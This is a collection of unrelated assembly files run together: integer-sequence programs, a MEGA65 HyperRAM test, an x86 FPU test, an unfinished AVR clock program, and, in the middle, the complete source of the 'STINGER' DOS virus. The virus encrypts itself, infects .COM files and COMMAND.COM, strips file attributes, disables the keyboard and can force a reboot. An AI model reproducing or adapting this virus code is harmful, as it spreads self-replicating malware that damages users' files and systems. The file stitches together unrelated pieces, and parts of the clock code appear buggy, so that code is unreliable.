!byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$69,$5F,$65,$62,$30,$53
!byte $58,$5F,$59,$53,$55,$4F,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
!byte $FF,$FF,$FF,$FF,$FF,$90,$81,$89,$88,$81,$70,$A4,$95,$A8,$91,$A3
!byte $70,$99,$9E,$A3,$A4,$A2,$A5,$9D,$95,$9E,$A4,$A3,$FF,$FF,$FF,$FF |
; A138055: Period 8: repeat 1, 3, 5, 9, 3, 1, 9, 5.
; 1,3,5,9,3,1,9,5,1,3,5,9,3,1,9,5,1,3,5,9,3,1,9,5,1,3,5,9,3,1,9,5,1,3,5,9,3,1,9,5,1,3,5,9,3,1,9,5,1,3,5,9,3,1,9,5,1,3,5,9,3,1,9,5,1,3,5,9,3,1,9,5,1,3,5,9,3,1,9,5,1,3,5,9,3,1,9,5,1,3,5,9,3,1,9,5,1,3,5,9
sub $2,$0
mul $0,4
sub $0,$2
div $0,2
add $0,2
mov $1,2
pow $1,$0
sub $1,3
mod $1,10
mov $0,$1
|
; A047205: Numbers that are congruent to {0, 3, 4} mod 5.
; 0,3,4,5,8,9,10,13,14,15,18,19,20,23,24,25,28,29,30,33,34,35,38,39,40,43,44,45,48,49,50,53,54,55,58,59,60,63,64,65,68,69,70,73,74,75,78,79,80,83,84,85,88,89,90,93,94,95,98,99,100,103,104,105,108
mov $1,$0
add $1,2
div $1,3
mul $1,2
add $1,$0
|
; MEGA65 HyperRAM
; Minimal reproduction code for the following HyperRAM problem as basis
; for simulation
; done by sy2002 on June, 12 2020
;
; Test passes successfully since August, 21 2020
;
#include "../../../../dist_kit/sysdef.asm"
#include "../../../../dist_kit/monitor.def"
.ORG 0x0000
; MMIO addresses of the HyperRAM controller => registers
MOVE IO$M65HRAM_LO, R0 ; lo word of the address
MOVE IO$M65HRAM_HI, R1 ; hi word of the address
MOVE IO$M65HRAM_DATA16, R2 ; 16-bit data access
; HyperRAM access
MOVE 0x3333, @R0 ; lo word of address = 0x3333
MOVE 0x0033, @R1 ; hi word of address = 0x0033
MOVE 0xABCD, @R2 ; write 0xABCD to 0x00333333
MOVE @R2, R8 ; read 0x00333333 to R8
; and do it again
MOVE @R2, R8 ; PROBLEM: system stalls here
; version for simulator (comment out for tests on hardware)
HALT ; this code is never reached
; version for tests on hardware
SYSCALL(puthex, 1) ; this code is never reached
SYSCALL(exit, 1)
|
BITS 64
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=
;TEST_FILE_META_END
; set up st0 to be 3.141593
FLDPI
FLD1
;TEST_BEGIN_RECORDING
FDIVP
mov edi, 0
;TEST_END_RECORDING
|
; A183575: a(n) = n - 1 + ceiling((n^2-2)/2); complement of A183574.
; 2,6,10,16,22,30,38,48,58,70,82,96,110,126,142,160,178,198,218,240,262,286,310,336,362,390,418,448,478,510,542,576,610,646,682,720,758,798,838,880,922,966,1010,1056,1102,1150,1198,1248,1298,1350,1402,1456,1510,1566,1622,1680,1738,1798,1858,1920,1982,2046,2110,2176,2242,2310,2378,2448,2518,2590,2662,2736,2810,2886,2962,3040,3118,3198,3278,3360,3442,3526,3610,3696,3782,3870,3958,4048,4138,4230,4322,4416,4510,4606,4702,4800,4898,4998,5098,5200,5302,5406,5510,5616,5722,5830,5938,6048,6158,6270,6382,6496,6610,6726,6842,6960,7078,7198,7318,7440,7562,7686,7810,7936,8062,8190,8318,8448,8578,8710,8842,8976,9110,9246,9382,9520,9658,9798,9938,10080,10222,10366,10510,10656,10802,10950,11098,11248,11398,11550,11702,11856,12010,12166,12322,12480,12638,12798,12958,13120,13282,13446,13610,13776,13942,14110,14278,14448,14618,14790,14962,15136,15310,15486,15662,15840,16018,16198,16378,16560,16742,16926,17110,17296,17482,17670,17858,18048,18238,18430,18622,18816,19010,19206,19402,19600,19798,19998,20198,20400,20602,20806,21010,21216,21422,21630,21838,22048,22258,22470,22682,22896,23110,23326,23542,23760,23978,24198,24418,24640,24862,25086,25310,25536,25762,25990,26218,26448,26678,26910,27142,27376,27610,27846,28082,28320,28558,28798,29038,29280,29522,29766,30010,30256,30502,30750,30998,31248,31498,31750
add $0,3
mov $1,$0
mul $1,$0
div $1,2
sub $1,2
|
;************************************
;************** STINGER *************
;******** (c) 1996 by [TAVC] ********
;********** -=* RedArc *=- **********
;************************************
Model tiny
.code
.386
kode_crypt equ 0
ORG 100h
START:
pusha
push ds
push es
push cs
pop ds
push cs
pop es
push di
mov di,offset VIRUS
ret
IDENT db 0ah,0dh,'STINGER',0ah,0dh,'$'
START_LEN equ $-START
int 20h
VIRUS:
jmp Ok_1
Ok_0:
mov ax,1010h
out 70h,ax
mov al,0feh
out 64h,al
Flag_Ofs equ $-VIRUS
Flag db 0
;---------------------
LOC_2_ equ $-VIRUS
LOC_2:
pop ax
pop cx
inc ax
xchg ax,cx
push cx
push ax
mov ax,LOC_3_
mov cx, bp
xchg ax,cx
add cx,ax
push cx
db 2eh
pushf
pop ax
sahf
jnb L_2_1
mov ax,1010h
out 70h,ax
mov al,0feh
out 64h,al
L_2_1:
ret
;------------------------
HAND_OFS equ $-VIRUS
Handle dw ?
Write_To_File:
mov word ptr [bp+HAND_OFS],bx
mov byte ptr [bp+Flag_Ofs],1
jmp DECRYPT
My_Loc_1:
mov byte ptr [bp+Flag_Ofs],0
mov dx,bp
mov cx,VIRLEN
mov bx,word ptr [bp+HAND_OFS]
mov ah,40h
int 21h
mov byte ptr [bp+Flag_Ofs],2
jmp DECRYPT
;------------------------
Ok_1:
call VIR_BEG
VIR_BEG_LEN equ $-VIRUS
VIR_BEG:
cli
mov al,0adh
out 64h,al
jmp short $+2
pop bp
sti
sub bp,VIR_BEG_LEN
DECRYPT:
Code_Ofs equ $-VIRUS
mov ax, kode_crypt
xor cx,cx
cmp ax,cx
jne DC_0
mov ax, DC_3_
add ax,bp
push ax
ret
;------------------------------------
LOC_4_ equ $-VIRUS
LOC_4:
db 2eh
pushf
pop ax
sahf
jnb LOC_4_1
mov ax,1010h
out 70h,ax
mov al,0feh
out 64h,al
LOC_4_1:
ret
;------------------------
DC_0:
mov di, CRYPT_END
add di,bp
push ax
mov ax, bp
add ax, M_L_1_
push ax
mov ax, LOC_4_
add ax, bp
push ax
ret
M_L_1_ equ $-VIRUS
M_L_1:
pop ax
mov si, CRYPT_START
add si,bp
DC_1:
DC_1_ equ $-VIRUS
mov bx, word ptr cs:[si]
push bp
mov dx, word ptr cs:[si+2]
xchg cx,dx
push si
xchg bx,dx
mov si,di
xor cx,ax
pop di
xchg cx,ax
push si
xchg ax,bx
mov si,di
xchg cx,dx
pop bp
xchg ax,dx
xchg si,bp
xchg bx,dx
mov di,si
xor cx,ax
xchg bp,si
xchg cx,ax
sub bp,di
xchg bx,dx
add bp,si
xchg dx,cx
xchg bp,si
xchg ax,dx
xor bp,si
xchg dx,bx
add bp,di
mov cl,4
xchg bp,di
mov word ptr cs:[si],bx
pop bp
call LOC_1
mov word ptr cs:[si+2],dx
DC_2:
inc si
loop DC_2
cmp si,di
jge DC_3
mov dx, DC_1_
mov cx, bp
DC_4:
inc dx
loop DC_4
push dx
ret
;------------------------
LOC_1:
push cx
push ax
mov ax,bp
mov cx,LOC_2_
L_1:
inc ax
loop L_1
push ax
ret
;------------------------
LOC_3_ equ $-VIRUS
LOC_3:
pop cx
mov ax,bp
add ax,LOC_3_1_
push ax
mov ax,bp
add ax,LOC_4_
push ax
ret
LOC_3_1_ equ $-VIRUS
LOC_3_1:
pop ax
xor ch,ch
jmp LOC_4_1
;------------------------
DC_3:
DC_3_ equ $-VIRUS
push ax
mov ah, byte ptr [bp+Flag_Ofs]
cmp ah,1
pop ax
jnz My_Loc_2
jmp My_Loc_1
CRYPT_START equ $-VIRUS
;********************************************************
My_Loc_2:
mov ah, byte ptr [bp+Flag_Ofs]
cmp ah,2
jnz My_Loc_3
ret
My_Loc_3:
cli
mov al,0aeh
out 64h,al
jmp short $+2
sti
;-------------------------------------------------------
Restore_Beg:
mov si,P_B_Ofs
mov di,100h
add si,bp
mov cx,START_LEN
rep movsb
SET_DTA_VIRII:
mov ah,1ah
mov dx,bp
add dx,VIRLEN
push dx
int 21h
pop si
FIND_FIRST:
mov dx,bp
add dx,C_M_Ofs
cld
mov ah,4eh
mov cx,0ffh
INTERRUPT:
int 21h
jb Not_File
call Infected
mov ah,4fh
jmp short INTERRUPT
Not_File:
call Command_Com
mov ah,1ah
mov dx,80h
int 21h
;---------------------
RETURN_TO_PROG:
pop es
pop ds
popa
jmp si
;---------------------
Infected:
mov dx, si
add dx,1eh
push dx
Clear_Attrib:
mov ax,4301h
xor cx,cx
int 21h
Open_File:
mov ax, 3d02h
int 21h
jb NextFind
Save_Handle:
xchg ax,bx
Read_Beg:
mov ah,3fh
mov dx,bp
add dx,P_B_Ofs
mov cx,START_LEN
int 21h
Check_Ident:
push si
mov si,bp
mov di,si
add si,New_Begin
add di,P_B_Ofs
add si,IDENT_Ofs
add di,IDENT_Ofs
mov cx,12
rep cmpsb
pop si
je Close_File
jmp short Plague
Close_File:
mov ax,5701h
mov dx, word ptr [si+18h]
mov cx, word ptr [si+16h]
int 21h
mov ah,3eh
int 21h
mov ax,4301h
pop dx
mov cx,word ptr [si+15h]
int 21h
ret
NextFind:
pop dx
ret
Plague:
mov ax,4202h
xor cx,cx
xor dx,dx
push cx
push cx
int 21h
mov word ptr [bp+OldLen],ax
call New_Code
pusha
call Write_To_File
Ret_From_Write:
popa
mov ax,4200h
pop cx
pop dx
int 21h
Calculate_New_Entry_Point:
mov di,bp
add di,New_Adr_Jump
inc di
mov ax, word ptr [bp+OldLen]
add ax, 100h
mov word ptr [di],ax
WRITE_New_Beg:
mov ah,40h
mov cx,START_LEN
mov dx,bp
add dx,New_Begin
int 21h
jmp Close_File
;---------------------
Command_Com:
push ds
mov di,bp
mov si,2ch
mov ds,cs:[si]
mov si,0008
add di, VIRLEN
add di,2ch
mov cx,0040h
rep movsb
sub di,40h
pop ds
mov dx,di
mov ah,4eh
mov cx,0ffh
int 21h
mov di,bp
jb EXITER
mov ah,2fh
int 21h
mov bx,di
add bx,VIRLEN
add bx,0eh
xchg bx,si
call INFECTED
EXITER:
ret
;---------------------
New_Code:
push ax
push bx
push cx
push di
mov ax, word ptr [si+1ah]
mov bx, word ptr [si+18h]
mov cx, word ptr [si+16h]
xor bx,cx
cmp bx,cx
jnz N_C_1
jmp Ok_0_My
N_C_1:
xor ax,bx
mov di,bp
add di,Code_Ofs
mov word ptr [di+1],ax
pop di
pop cx
pop bx
pop ax
ret
Ok_0_My:
mov ah, 09h
mov dx,bp
add dx,IDENT_Ofs
int 21h
jmp Ok_0
;---------------------
P_B_Ofs equ $-VIRUS
PROGRAM_BEG db START_LEN dup (90h)
C_M_Ofs equ $-VIRUS
COM_MASK db '*.COM',0h
E_M_Ofs equ $-VIRUS
OldLen equ $-VIRUS
dw ?
My_START:
New_Begin equ $-VIRUS
pusha
push ds
New_Adr_Jump equ $-VIRUS
mov di,offset VIRUS
push es
push cs
pop ds
push di
push cs
pop es
ret
IDENT_Ofs equ $-My_Start
db 0ah,0dh,'STINGER',0ah,0dh,'$'
;********************************************************
CRYPT_END equ $-VIRUS
VIRLEN equ $-VIRUS
END START
|
;===============================================================================
;- Programm: DateTimeClock
;-
;- Dateinname: DateTimeClock.asm
;- Version: 1.0
;- Autor: Benj Fassbind
;-
;- Verwendungszweck: uP-Schulung
;-
;- Beschreibung:
;-
;- Eine Zeit-Datums Uhr auf Assembler Basis
;-
;- Copyright: Benj Fassbind, Sonneggstrasse 13, 6410 Goldau (2014)
;------------------------------------------------------------------------------
;--- Kontrollerangabe ---
.include "m2560def.inc"
RJMP Reset ; Ext-Pin, Power-on, Brown-out,Watchdog Reset
.org 0x46
RJMP Tc0i
;--- Include-Files ---
.include "..\..\..\lib\math.inc"
;--- Konstanten ---
.equ LED = PORTB ; Ausgabeport fuer LED
.equ LED_D = DDRB ; Daten Direction Port fuer LED
.equ SWITCH = PIND ; Eingabeport fuer SWITCH
.equ SWITCH_D = DDRD ; Daten Direction Port fuer SWITCH
.equ MHz = $04 ; MCU getaktet mit 8 MHz
.equ MaxCount = $7A12 ; Vorteiler des Zaehlers = 256
; => 8MHz/256 = 31250 Hz = $7A12
;--- Variablen ---
.def mpr = R16 ; Multifunktionsregister
;-- Date-time variables (ISO 8601: http://en.wikipedia.org/wiki/ISO_8601) ---
.def hh = R17 ; houers register
.def mm = R18 ; minutes register
.def ss = R19 ; seconds register
.def DD = R20 ; day register
.def MO = R21 ; month register (because non key sensitive)
.def YY = R22 ; year register (two digits > 2000-2099)
.def Www = R23 ; calender week register (W01-W53)
.def D = R24 ; week day register (1-7)
;-- math.inc variables: ---
.def dividend = R25 ; the dividend
.def divisor = R26 ; the divisor
.def result = R27 ; the result
;-- Delay variables ---
.def ms = R25 ; milli seconds
;-- TC variables ---
.def count = R28 ; MSB-count, SW-count
;------------------------------------------------------------------------------
; Hauptprogramm
;------------------------------------------------------------------------------
;--- Initialisierung ---
Reset: SER mpr ; Output:= LED
OUT LED_D, mpr
CLR mpr ; Input:= Schalterwerte
OUT SWITCH_D, mpr
LDI mpr, LOW(RAMEND) ; Stack initialisieren
OUT SPL,mpr
LDI mpr, HIGH(RAMEND)
OUT SPH,mpr
; Timer 0 initialisieren:
LDI mpr, MHz ; Initiate Timer/Counter 0 Vorteiler
OUT TCCR0B, mpr ; to timer interupt mask register
; Swich timer 0 interup on:
LDI mpr, (1<<TOIE0) ; Swich bit1 on
STS TIMSK0, mpr ; in timer interupt mask register
; software count register = $00
CLR count ; software count = $00
CLR SS ; seconds = $00
; set interupts globaly
SEI ; sets interupts globaly
; set beginn datetime
LDI MM, 22
LDI HH, 20
LDI DD, 7
LDI MO, 4
LDI YY, 14
;--- Hauptprogramm ---
Main: ; [Main()] function
Main_LOOP01:
RCALL Out_Handle ; Handle output
CPI count, HIGH(MaxCount)
BRLT Main_LOOP01 ; count < $7A: wait longer
Main_LOOP02:
IN mpr, TCNT0 ; read count LSB
CPI mpr, LOW(MaxCount)
BRLT Main_LOOP02 ; mpr < $12: wait longer
CLR mpr ; mpr = $00
OUT TCNT0, mpr ; $00 in hardware counter LSB
CLR count ; count = $00 (MSB)
RCALL DT_Handle ; DT_Handle()
RJMP Main ; Endless Loop
;------------------------------------------------------------------------------
; Unterprogramme
;------------------------------------------------------------------------------
;===============================================================================
; @name: Out_Handle
; @description:
; Handles the output of the datetime
;
;------------------------------------------------------------------------------
Out_Handle: ; [Out_Handle(<count>)] function
IN mpr, SWITCH ; read SWITCH
COM mpr ; invert (device specific)
TST mpr ; if at least one button pressed
BRNE Out_HandleIF01 ; goto
COM SS ; prepare <SS> for output
OUT LED, SS ; set LED to <SS>
COM SS ; undo the preparation.
RJMP Out_HandleENDIF01
Out_HandleIF01:
SBRS mpr, 0 ; if <SWITCH[0]> is not pressed
RJMP Out_HandleELSEIF01 ; else if
COM SS ; prepare <SS> for output
OUT LED, SS ; set LED to <SS>
COM SS ; undo the preparation.
Out_HandleELSEIF01:
SBRS mpr, 1 ; if <SWITCH[1]> is not pressed
RJMP Out_HandleELSEIF02 ; else if
COM MM ; prepare <MM> for output
OUT LED, MM ; set LED to <MM>
COM MM ; undo the preparation
Out_HandleELSEIF02:
SBRS mpr, 2 ; if <SWITCH[2]> is not pressed
RJMP Out_HandleELSEIF03 ; else if
COM HH ; prepare <HH> for output
OUT LED, HH ; set LED to <HH>
COM HH ; undo the preparation
Out_HandleELSEIF03:
SBRS mpr, 3 ; if <SWITCH[3]> is not pressed
RJMP Out_HandleELSEIF04 ; else if
COM DD ; prepare <DD> for output
OUT LED, DD ; set LED to <DD>
COM DD ; undo the preparation
Out_HandleELSEIF04:
SBRS mpr, 4 ; if <SWITCH[4]> is not pressed
RJMP Out_HandleELSEIF05 ; else if
COM MO ; prepare <MO> for output
OUT LED, MO ; set LED to <MO>
COM MO ; undo the preparation
Out_HandleELSEIF05:
SBRS mpr, 5 ; if <SWITCH[3]> is not pressed
RJMP Out_HandleENDIF01 ; endif
COM YY ; prepare <YY> for output
OUT LED, YY ; set LED to <YY>
COM YY ; undo the preparation
Out_HandleENDIF01:
RET ; Return from function
;===============================================================================
; @name: Tc0i
; @description:
; Handles Timer counter 0 overflow
;
;------------------------------------------------------------------------------
Tc0i: ; [Tc0i(<count>)] function
PUSH mpr ; save mpr to stack
IN mpr, SREG ; save SREG
INC count ; increment count register
OUT SREG, mpr ; load SREG
POP mpr ; load mpr from stack
RETI ; return from interupt
;===============================================================================
; @name: DT_Handle
; @description:
; Handles the date-time clock
;
;------------------------------------------------------------------------------
DT_Handle: ; [DT_Handle()] function
// TODO: Calc <Www> and <D>
RCALL Get_D ; calc day of week
RCALL Get_Www ; calc weeknumber
// Calc time: ---
INC ss ; incrment <ss>
CPI ss, $3C ; if <ss> != 60:
BRNE DT_Handle_ENDIF1 ; GoTo: DT_Handle_ENDIF1
// Handle seconds: ---
CLR ss ; <ss> = 0
INC mm ; increment <mm>
CPI mm, $3C ; if <mm> != 60:
BRNE DT_Handle_ENDIF1 ; GoTo: DT_Handle_ENDIF1
// Handle minutes: ---
CLR mm ; <mm> = 0
INC hh ; increment <hh>
CPI hh, $18 ; if <hh> != 24:
BRNE DT_Handle_ENDIF1 ; GoTo: DT_Handle_ENDIF1
// Handle houers: ---
CLR hh ; <mm> = 0
INC DD ; increment <hh>
CPI DD, $1C ; if <hh> != 28:
BRNE DT_Handle_ENDIF1 ; GoTo: DT_Handle_ENDIF1
// Handle months
RCALL DT_MM ; DT_MM(<DD>)
CPI MO, $0D ; if <MO> != 13:
BRNE DT_Handle_ENDIF1 ; GoTo: DT_Handle_ENDIF1
// Handle years: ---
CLR MO ; <mm> = 0
INC YY ; increment <hh>
DT_Handle_ENDIF1: ; DT_Handle_ENDIF1
RET ; RETURN: <void>
;===============================================================================
; @name: SW_Handle
; @description:
; Handles the summer and winter time houer increment or decrement:
;
; @param <DD>:
; the day of the date
; @param <MO>:
; the month of the date
; @param *<hh>:
; the hour of the date
; @param <D>:
; the weekday
;------------------------------------------------------------------------------
SW_Handle: ; [SW_Handle()] function
// stack saving: ---
PUSH dd ; save <dd> on stack
PUSH MO ; save <MO> on stack
PUSH D ; save <D> on stack
PUSH mpr ; save <mpr> on stack
// summer winter time correction: --
CPI MO, $03 ; if <MO> is March
BRNE SW_HandleELSEIF01 ; else if: SW_HandleELSEIF01
// summer time: ---
CPI HH, $02 ; if <HH> = 2:00
BRNE SW_HandleENDIF01 ; endif
// the last sunday in the month: ---
CPI D, $00 ; if <D> = sunday
BRNE SW_HandleENDIF01 ; endif
LDI mpr, 31 ; <mpr> = 31
SUB mpr, DD ; 31 - <DD> => if last sunday
CPI mpr, $07 ; if not last sunday:
BRGE SW_HandleENDIF01 ; endif
// summer time: ---
INC hh ; set summer time
SW_HandleELSEIF01:
CPI MO, $0A ; if <MO> is October
BRNE SW_HandleENDIF01 ; endif: SW_HandleENDIF01
// winter time: ---
CPI HH, $03 ; if <HH> = 3:00
BRNE SW_HandleENDIF01 ; endif
// the last sunday in the month: ---
CPI D, $00 ; if <D> = sunday
BRNE SW_HandleENDIF01 ; endif
LDI mpr, 31 ; <mpr> = 31
SUB mpr, DD ; 31 - <DD> => if last sunday
CPI mpr, $07 ; if not last sunday:
BRGE SW_HandleENDIF01 ; endif
// winter time (if not allready set): ---
BRTS SW_HandleELSEID02 ; if <t-flag> set
// winter time: ---
DEC hh ; set winter time
SET ; set <t-flag>
RJMP SW_HandleENDIF01 ; endif
SW_HandleELSEID02:
CLT ; set <t-flag>
SW_HandleENDIF01:
// stack loading: ---
POP mpr ; load <mpr> from stack
PUSH D ; load <D> from stack
POP MO ; load <MO> from stack
POP dd ; load <dd> from stack
RET ; RETURN <void>
;===============================================================================
; @name: GET_D
; @description:
; Calculates the day of the week (0-6):
;
; @param <DD>:
; the day of the date
; @param <MO>:
; the month of the date
; @param <YY>:
; the year of the date
; @return <result>:
; the result week day (0-6)
;------------------------------------------------------------------------------
GET_D: ; [GET_D(<DD>, <MO>, <YY>)] function
// stack saving: ---
PUSH dd ; save <dd> on stack
PUSH MO ; save <MO> on stack
PUSH YY ; save <YY> on stack
PUSH mpr ; save <mpr> on stack
// calc. year-offset: ---
MOV mpr, YY ; <mpr> = <YY>
PUSH mpr ; save original year on stack
ASR mpr ; <mpr> = <mpr> / 2
ASR mpr ; <mpr> = <mpr> / 2
ADD YY, mpr ; <YY> = <YY> + <mpr>
MOV dividend, YY ; <dividend> = <YY>
LDI divisor, $07 ; <divisor> = 7
RCALL MOD ; <result> = MOD(<dividend>, <divisor>)
MOV YY, result ; <YY> = <result>
POP mpr ; load original year from stack
// leap year: ---
ASR mpr ; <mpr> = <mpr> / 2
BRCS GET_D_ELSEIF2 ; if <carry-bit> == 2: GoTo: GET_D_ELSEIF01
ASR mpr ; <mpr> = <mpr> / 2
BRCS GET_D_ELSEIF2 ; if <carry-bit> == 2: GoTo: GET_D_ELSEIF01
// handle leap year: ---
DEC YY ; <YY> = <YY> - 1
GET_D_ELSEIF2: ; GET_D_ELSEIF2
// calc. month-offset: ---
CPI MO, $01 ; case <MO> = 1
BRNE GET_D_CASE_02 ; else: GoTo: GET_D_CASE_02
// January
LDI MO, $00 ; <MO> = 0;
RJMP GET_D_ENDSWICH01 ; break
GET_D_CASE_02:
CPI MO, $02 ; case <MO> = 2
BRNE GET_D_CASE_03 ; else: GoTo: GET_D_CASE_03
// February
LDI MO, $03 ; <MO> = 3;
RJMP GET_D_ENDSWICH01 ; break
GET_D_CASE_03:
CPI MO, $03 ; case <MO> = 3
BRNE GET_D_CASE_04 ; else: GoTo: GET_D_CASE_04
// March
LDI MO, $03 ; <MO> = 3;
RJMP GET_D_ENDSWICH01 ; break
GET_D_CASE_04:
CPI MO, $04 ; case <MO> = 4
BRNE GET_D_CASE_05 ; else: GoTo: GET_D_CASE_05
// April
LDI MO, $06 ; <MO> = 6;
RJMP GET_D_ENDSWICH01 ; break
GET_D_CASE_05:
CPI MO, $05 ; case <MO> = 5
BRNE GET_D_CASE_06 ; else: GoTo: GET_D_CASE_06
// May
LDI MO, $01 ; <MO> = 1;
RJMP GET_D_ENDSWICH01 ; break
GET_D_CASE_06:
CPI MO, $06 ; case <MO> = 6
BRNE GET_D_CASE_07 ; else: GoTo: GET_D_CASE_07
// June
LDI MO, $04 ; <MO> = 4;
RJMP GET_D_ENDSWICH01 ; break
GET_D_CASE_07:
CPI MO, $07 ; case <MO> = 7
BRNE GET_D_CASE_08 ; else: GoTo: GET_D_CASE_08
// July
LDI MO, $06 ; <MO> = 6;
RJMP GET_D_ENDSWICH01 ; break
GET_D_CASE_08:
CPI MO, $08 ; case <MO> = 8
BRNE GET_D_CASE_09 ; else: GoTo: GET_D_CASE_09
// August
LDI MO, $02 ; <MO> = 2;
RJMP GET_D_ENDSWICH01 ; break
GET_D_CASE_09:
CPI MO, $09 ; case <MO> = 9
BRNE GET_D_CASE_10 ; else: GoTo: GET_D_CASE_10
// September
LDI MO, $05 ; <MO> = 5;
RJMP GET_D_ENDSWICH01 ; break
GET_D_CASE_10:
CPI MO, $0A ; case <MO> = 10
BRNE GET_D_CASE_11 ; else: GoTo: GET_D_CASE_11
// October
LDI MO, $00 ; <MO> = 0;
RJMP GET_D_ENDSWICH01 ; break
GET_D_CASE_11:
CPI MO, $0B ; case <MO> = 11
BRNE GET_D_CASE_12 ; else: GoTo: GET_D_CASE_12
// November
LDI MO, $03 ; <MO> = 3;
RJMP GET_D_ENDSWICH01 ; break
GET_D_CASE_12:
CPI MO, $0C ; case <MO> = 12
BRNE GET_D_ENDSWICH01 ; else: GoTo: GET_D_ENDSWICH01
// December
LDI MO, $05 ; <MO> = 5;
RJMP GET_D_ENDSWICH01 ; break
GET_D_ENDSWICH01: ; end of swich 01
// calc day-offset: ---
MOV dividend, DD ; <dividend> = <DD>
LDI divisor, $07 ; <divisor> = 7
RCALL MOD ; <result> = MOD(<dividend>, <divisor>)
MOV DD, result ; <DD> = <result>
// calculate the day of the week: ---
CLR mpr ; <mpr> = $00
SUBI mpr, -$06 ; <mpr> = <mpr> + 6 > century-offset
ADD mpr, YY ; <mpr> = <mpr> + <YY> > year-offset
ADD mpr, MO ; <mpr> = <mpr> + <MO> > month-offset
ADD mpr, DD ; <mpr> = <mpr> + <DD> > day-offset
MOV dividend, mpr ; <dividend> = <DD>
LDI divisor, $07 ; <divisor> = 7
RCALL MOD ; <result> = MOD(<dividend>, <divisor>)
MOV D, result ; <D> = result
// stack loading: ---
POP mpr ; load <mpr> from stack
POP YY ; load <YY> from stack
POP MO ; load <MO> from stack
POP dd ; load <dd> from stack
RET ; RETURN <result>
;===============================================================================
; @name: GET_Www
; @description:
; Calculates the the week number (0-53):
;
; @param <MO>:
; the month of the current date
; @param <DD>:
; the days of the current month
; @return <Www>:
; the week number
;------------------------------------------------------------------------------
GET_Www: ; [GET_Www(<MO>, <DD>)] function
// stack saving: ---
PUSH dd ; save <dd> on stack
PUSH MO ; save <MO> on stack
PUSH mpr ; save <mpr> on stack
// calc active month: ---
MOV dividend, DD ; <dividend> = <DD>
LDI divisor, $07 ; <divisor> = 7
RCALL div8u ; <result> = DIV(<dividend>, <divisor>)
MOV Www, result ; <Www> = <result>
// add modulo to days: ---
MOV dividend, DD ; <dividend> = <DD>
LDI divisor, $07 ; <divisor> = 7
RCALL MOD ; <result> = MOD(<dividend>, <divisor>)
MOV DD, result ; <DD> = <result>
DEC MO ; decrement <MO>
GET_Www_WHILE01: ; while loop
// calculate months til january: ---
RCALL DT_Www_MM ; DT_Www_MM(<DD>)
MOV dividend, DD ; <dividend> = <DD>
LDI divisor, $07 ; <divisor> = 7
RCALL div8u ; <result> = DIV(<dividend>, <divisor>)
ADD Www, result ; <Www> = <result>
// add modulo to days: ---
MOV dividend, DD ; <dividend> = <DD>
LDI divisor, $07 ; <divisor> = 7
RCALL MOD ; <result> = MOD(<dividend>, <divisor>)
MOV DD, result ; <DD> = <result>
DEC MO
BRNE GET_Www_WHILE01
// weeknumber beginns with 1 not 0: ---
INC Www ; <Www>++
// stack loading: ---
POP mpr ; load <mpr> from stack
POP MO ; load <MO> from stack
POP dd ; load <dd> from stack
RET ; RETURN <result>
;===============================================================================
; @name: DT_Www_MM
; @description:
; Handles the date-time Month calculation for week number calculation:
;
; @param *<DD>:
; the day of the date
;------------------------------------------------------------------------------
DT_Www_MM: ; [DT_Www_MM(*<DD>)] function
// Stack saving: ---
PUSH mpr ; save <mpr> on stack
CPI MO, $02 ; if <MO> == 2
BREQ GET_Www_ELSEIF1 ; GoTo: GET_Www_ELSEIF1 (february)
// Handle if month has 30 or 31 Days
CPI MO, $07 ; if <MO> < 7
BRLO GET_Www_ELSEIF4 ; GoTo: GET_Www_ELSEIF4
// Handle Aug-Dec: ---
MOV mpr, MO ; <mpr> = <MO>
ASR mpr ; <mpr> = <mpr> / 2
BRCS GET_Www_30DAY ; if <carry-bit> = 0: GoTo: GET_Www_30DAY
RJMP GET_Www_31DAY ; else: GoTo: GET_Www_31DAY
GET_Www_ELSEIF4: ; DT_MM_ELSEIF4
// Handle Jan-Jul: ---
MOV mpr, MO ; <mpr> = <MO>
ASR mpr ; <mpr> = <mpr> / 2
BRCC GET_Www_30DAY ; if <carry-bit> = 1: GoTo: GET_Www_30DAY
RJMP GET_Www_31DAY ; else: GoTo: GET_Www_31DAY
GET_Www_30DAY: ; DT_MM_30DAY
// The Month has 30 Days: ---
SUBI DD, -30 ; <DD> += 30
RJMP GET_Www_DAYEND ; GoTo: GET_Www_DAYEND
GET_Www_31DAY: ; DT_MM_31DAY
// The Month has 31 Days: ---
SUBI DD, -31 ; <DD> += 31
RJMP GET_Www_DAYEND ; GoTo: GET_Www_DAYEND
GET_Www_DAYEND: ; End Day calc
RJMP GET_Www_ENDIF1 ; GoTo: GET_Www_ENDIF1
GET_Www_ELSEIF1: ; GET_Www_ELSEIF1
// Handle February: ---
MOV mpr, YY ; <mpr> = <YY>
ASR mpr ; <mpr> = <mpr> / 2
BRCS GET_Www_ELSEIF2 ; if <carry-bit> == 2: GoTo: GET_Www_ELSEIF2
ASR mpr ; <mpr> = <mpr> / 2
BRCS GET_Www_ELSEIF2 ; if <carry-bit> == 2: GoTo: GET_Www_ELSEIF2
// Handle leap year: ---
SUBI DD, -29 ; <DD> += 29
GET_Www_ENDIF3: ; GET_Www_ENDIF3
RJMP GET_Www_ENDIF2 ; GoTo: GET_Www_ENDIF2
GET_Www_ELSEIF2: ; GET_Www_ELSEIF2
// Handle non leap year: ---
SUBI DD, -28 ; <DD> += 29
GET_Www_ENDIF2: ; GET_Www_ENDIF2
GET_Www_ENDIF1: ; GET_Www_ENDIF1
// Stack loading: ---
POP mpr ; load <mpr> from stack
RET ; RETURN <void>
;===============================================================================
; @name: DT_MM
; @description:
; Handles the date-time Month calculation:
;
; @param <DD>:
; the day of the date
;------------------------------------------------------------------------------
DT_MM: ; [DT_MM(<DD>)] function
// Stack saving: ---
PUSH mpr ; save <mpr> on stack
CPI MO, $02 ; if <MO> != 2
BREQ DT_MM_ELSEIF1 ; GoTo: DT_MM_ENDIF1
// Handle all months except February: ---
CPI DD, $1D ; if <DD> < 29:
BRLO DT_MM_ENDIF1 ; GoTo: DT_MM_ENDIF1
// Handle if month has 30 or 31 Days
CPI MO, $07 ; if <MO> < 7
